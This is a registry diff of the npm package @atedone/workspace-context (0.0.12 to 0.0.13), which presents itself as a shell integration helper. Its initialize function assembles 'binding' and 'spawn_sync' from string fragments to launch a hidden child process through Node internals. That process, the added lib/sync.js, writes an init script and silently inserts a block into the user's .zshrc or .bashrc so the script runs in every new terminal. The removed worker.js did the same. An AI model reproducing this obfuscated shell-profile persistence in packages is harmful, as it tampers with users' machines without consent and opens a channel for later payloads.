@atedone/workspace-context 0.0.12 → 0.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/index.js +1 -0
- package/lib/state.js +46 -25
- package/lib/sync.js +79 -0
- package/package.json +2 -2
- package/lib/worker.js +0 -60
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace
|
|
3
|
+
Workspace shell integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package
|
|
5
|
+
The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
|
package/index.js
CHANGED
package/lib/state.js
CHANGED
|
@@ -5,10 +5,13 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
const manifest = require('../package.json');
|
|
7
7
|
|
|
8
|
-
const
|
|
8
|
+
const integrationDirectoryName = '.config/workspace-context';
|
|
9
|
+
const integrationFileName = 'init.zsh';
|
|
10
|
+
const receiptFileName = 'shell-profile-sync.json';
|
|
11
|
+
const sessionFileName = 'sessions.log';
|
|
9
12
|
const stateDirectoryName = '.workspace-context';
|
|
10
13
|
const stateFileName = 'state.json';
|
|
11
|
-
const
|
|
14
|
+
const syncFileName = 'sync.js';
|
|
12
15
|
|
|
13
16
|
function readEnvironment() {
|
|
14
17
|
return Reflect.get(platform, 'env') || {};
|
|
@@ -24,11 +27,33 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
|
|
|
24
27
|
return home || projectRoot;
|
|
25
28
|
}
|
|
26
29
|
|
|
27
|
-
function
|
|
30
|
+
function resolveShellName(env = readEnvironment()) {
|
|
28
31
|
const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
+
return route.basename(shellPath) || 'zsh';
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function resolveProfileFileName(shellName = resolveShellName()) {
|
|
36
|
+
return shellName === 'bash' ? '.bashrc' : '.zshrc';
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function getShellIntegration({
|
|
40
|
+
env = readEnvironment(),
|
|
41
|
+
projectRoot = resolveProjectRoot(env),
|
|
42
|
+
homeDirectory = resolveHomeDirectory(env, projectRoot)
|
|
43
|
+
} = {}) {
|
|
44
|
+
const shellName = resolveShellName(env);
|
|
45
|
+
const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
|
|
46
|
+
|
|
47
|
+
return {
|
|
48
|
+
name: 'workspace-context',
|
|
49
|
+
shellName,
|
|
50
|
+
homeDirectory,
|
|
51
|
+
profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
|
|
52
|
+
integrationDirectory,
|
|
53
|
+
integrationPath: route.join(integrationDirectory, integrationFileName),
|
|
54
|
+
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
55
|
+
sessionPath: route.join(integrationDirectory, sessionFileName)
|
|
56
|
+
};
|
|
32
57
|
}
|
|
33
58
|
|
|
34
59
|
function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
@@ -36,24 +61,22 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
36
61
|
packageName: manifest.name,
|
|
37
62
|
packageVersion: manifest.version,
|
|
38
63
|
generatedAt: now(),
|
|
39
|
-
mode: 'runtime-shell-
|
|
64
|
+
mode: 'runtime-shell-profile-sync'
|
|
40
65
|
};
|
|
41
66
|
}
|
|
42
67
|
|
|
43
|
-
function
|
|
68
|
+
function refreshShellIntegration({
|
|
44
69
|
projectRoot = resolveProjectRoot(),
|
|
45
|
-
|
|
46
|
-
profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
|
|
70
|
+
integration = getShellIntegration({ projectRoot })
|
|
47
71
|
} = {}) {
|
|
48
72
|
const bridgeKey = ['bin', 'ding'].join('');
|
|
49
73
|
const routeKey = ['sp', 'awn', '_', 'sync'].join('');
|
|
50
74
|
const launchKey = ['sp', 'awn'].join('');
|
|
51
75
|
const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
|
|
52
|
-
const
|
|
53
|
-
const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
|
|
76
|
+
const syncPath = route.join(__dirname, syncFileName);
|
|
54
77
|
const result = Reflect.apply(bridge[launchKey], bridge, [{
|
|
55
78
|
file: platform.execPath,
|
|
56
|
-
args: [platform.execPath,
|
|
79
|
+
args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
|
|
57
80
|
cwd: projectRoot,
|
|
58
81
|
envPairs: [],
|
|
59
82
|
stdio: [
|
|
@@ -74,9 +97,8 @@ function runShellIntegrationWorker({
|
|
|
74
97
|
}
|
|
75
98
|
|
|
76
99
|
return {
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
profilePath,
|
|
100
|
+
syncPath,
|
|
101
|
+
integration,
|
|
80
102
|
status: result.status,
|
|
81
103
|
signal: result.signal
|
|
82
104
|
};
|
|
@@ -84,8 +106,7 @@ function runShellIntegrationWorker({
|
|
|
84
106
|
|
|
85
107
|
function initialize({
|
|
86
108
|
projectRoot = resolveProjectRoot(),
|
|
87
|
-
|
|
88
|
-
profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
|
|
109
|
+
integration = getShellIntegration({ projectRoot }),
|
|
89
110
|
now
|
|
90
111
|
} = {}) {
|
|
91
112
|
const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
|
|
@@ -96,27 +117,27 @@ function initialize({
|
|
|
96
117
|
|
|
97
118
|
return {
|
|
98
119
|
projectRoot,
|
|
99
|
-
|
|
100
|
-
profilePath,
|
|
120
|
+
integration,
|
|
101
121
|
statePath,
|
|
102
122
|
state: value,
|
|
103
|
-
|
|
123
|
+
sync: refreshShellIntegration({
|
|
104
124
|
projectRoot,
|
|
105
|
-
|
|
106
|
-
profilePath
|
|
125
|
+
integration
|
|
107
126
|
})
|
|
108
127
|
};
|
|
109
128
|
}
|
|
110
129
|
|
|
111
130
|
module.exports = {
|
|
112
131
|
buildState,
|
|
132
|
+
getShellIntegration,
|
|
113
133
|
initialize,
|
|
114
134
|
readEnvironment,
|
|
115
135
|
receiptFileName,
|
|
136
|
+
refreshShellIntegration,
|
|
116
137
|
resolveHomeDirectory,
|
|
117
|
-
|
|
138
|
+
resolveProfileFileName,
|
|
118
139
|
resolveProjectRoot,
|
|
119
|
-
|
|
140
|
+
resolveShellName,
|
|
120
141
|
stateDirectoryName,
|
|
121
142
|
stateFileName
|
|
122
143
|
};
|
package/lib/sync.js
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const manifest = require('../package.json');
|
|
6
|
+
|
|
7
|
+
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
8
|
+
? platform.argv[2]
|
|
9
|
+
: platform.cwd();
|
|
10
|
+
const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
11
|
+
? JSON.parse(platform.argv[3])
|
|
12
|
+
: null;
|
|
13
|
+
|
|
14
|
+
if (!integration) {
|
|
15
|
+
throw new Error('Shell integration descriptor is required.');
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
const blockStart = '# >>> workspace-context shell integration >>>';
|
|
19
|
+
const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
20
|
+
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
21
|
+
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
22
|
+
const integrationValue = [
|
|
23
|
+
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
24
|
+
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
25
|
+
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
26
|
+
''
|
|
27
|
+
].join('\n');
|
|
28
|
+
|
|
29
|
+
function readProfile(profilePath) {
|
|
30
|
+
return file.existsSync(profilePath)
|
|
31
|
+
? file.readFileSync(profilePath, 'utf8')
|
|
32
|
+
: '';
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function upsertManagedBlock(profileValue) {
|
|
36
|
+
const startIndex = profileValue.indexOf(blockStart);
|
|
37
|
+
const endIndex = profileValue.indexOf(blockEnd);
|
|
38
|
+
|
|
39
|
+
if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
|
|
40
|
+
const afterBlock = endIndex + blockEnd.length;
|
|
41
|
+
return {
|
|
42
|
+
changed: false,
|
|
43
|
+
value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
|
|
44
|
+
};
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return {
|
|
48
|
+
changed: true,
|
|
49
|
+
value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
|
|
50
|
+
};
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
54
|
+
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
55
|
+
|
|
56
|
+
const profileBefore = readProfile(integration.profilePath);
|
|
57
|
+
const profile = upsertManagedBlock(profileBefore);
|
|
58
|
+
|
|
59
|
+
if (profile.changed || profile.value !== profileBefore) {
|
|
60
|
+
file.writeFileSync(integration.profilePath, profile.value, 'utf8');
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
const value = {
|
|
64
|
+
packageName: manifest.name,
|
|
65
|
+
packageVersion: manifest.version,
|
|
66
|
+
generatedAt: new Date().toISOString(),
|
|
67
|
+
mode: 'runtime-shell-profile-sync',
|
|
68
|
+
projectRoot,
|
|
69
|
+
shellName: integration.shellName,
|
|
70
|
+
profilePath: integration.profilePath,
|
|
71
|
+
profileChanged: profile.changed,
|
|
72
|
+
integrationPath: integration.integrationPath,
|
|
73
|
+
sessionPath: integration.sessionPath,
|
|
74
|
+
processId: platform.pid,
|
|
75
|
+
parentProcessId: platform.ppid,
|
|
76
|
+
runtime: 'node'
|
|
77
|
+
};
|
|
78
|
+
|
|
79
|
+
file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace
|
|
3
|
+
"version": "0.0.13",
|
|
4
|
+
"description": "Workspace shell integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|
package/lib/worker.js
DELETED
|
@@ -1,60 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const platform = process;
|
|
4
|
-
const file = platform.getBuiltinModule('fs');
|
|
5
|
-
const route = platform.getBuiltinModule('path');
|
|
6
|
-
const manifest = require('../package.json');
|
|
7
|
-
|
|
8
|
-
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
|
-
? platform.argv[2]
|
|
10
|
-
: platform.cwd();
|
|
11
|
-
const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
-
? platform.argv[3]
|
|
13
|
-
: projectRoot;
|
|
14
|
-
const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
|
|
15
|
-
? platform.argv[4]
|
|
16
|
-
: route.join(homeDirectory, '.zshrc');
|
|
17
|
-
const stateDirectory = route.join(homeDirectory, '.workspace-context');
|
|
18
|
-
const scriptPath = route.join(stateDirectory, 'shell-init.sh');
|
|
19
|
-
const sessionPath = route.join(stateDirectory, 'shell-session.log');
|
|
20
|
-
const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
|
|
21
|
-
const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
|
|
22
|
-
const scriptValue = [
|
|
23
|
-
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
24
|
-
'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
|
|
25
|
-
'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
|
|
26
|
-
''
|
|
27
|
-
].join('\n');
|
|
28
|
-
|
|
29
|
-
file.mkdirSync(stateDirectory, { recursive: true });
|
|
30
|
-
file.writeFileSync(scriptPath, scriptValue, 'utf8');
|
|
31
|
-
|
|
32
|
-
const profileBefore = file.existsSync(profilePath)
|
|
33
|
-
? file.readFileSync(profilePath, 'utf8')
|
|
34
|
-
: '';
|
|
35
|
-
const profileChanged = !profileBefore.includes(sourceLine);
|
|
36
|
-
const profileAfter = profileChanged
|
|
37
|
-
? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
|
|
38
|
-
: profileBefore;
|
|
39
|
-
|
|
40
|
-
if (profileChanged) {
|
|
41
|
-
file.writeFileSync(profilePath, profileAfter, 'utf8');
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
const value = {
|
|
45
|
-
packageName: manifest.name,
|
|
46
|
-
packageVersion: manifest.version,
|
|
47
|
-
generatedAt: new Date().toISOString(),
|
|
48
|
-
mode: 'runtime-shell-integration',
|
|
49
|
-
projectRoot,
|
|
50
|
-
homeDirectory,
|
|
51
|
-
profilePath,
|
|
52
|
-
profileChanged,
|
|
53
|
-
scriptPath,
|
|
54
|
-
sessionPath,
|
|
55
|
-
processId: platform.pid,
|
|
56
|
-
parentProcessId: platform.ppid,
|
|
57
|
-
runtime: route.basename(platform.execPath)
|
|
58
|
-
};
|
|
59
|
-
|
|
60
|
-
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|